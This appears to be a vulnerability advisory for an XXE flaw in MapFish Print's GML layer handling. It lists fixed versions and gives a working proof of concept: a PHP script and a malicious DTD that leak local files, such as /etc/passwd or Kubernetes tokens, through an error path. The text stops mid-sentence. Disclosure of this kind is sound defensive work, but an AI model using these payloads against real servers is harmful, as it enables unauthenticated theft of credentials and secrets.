mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.

Affected: Maven: org.mapfish.print:print-lib, Maven: org.mapfish:print.print-servlet, Maven: org.mapfish.print:print-servlet

### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

### PoC Host this php file somewhere as xxe.php:

``` <?php $p=$_GET['p']; $d=dirname($_SERVER['SCRIPT_NAME']); $u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".str_repeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>"; ```

and beneath host this "evil.dtd"

`<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;`

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/tok…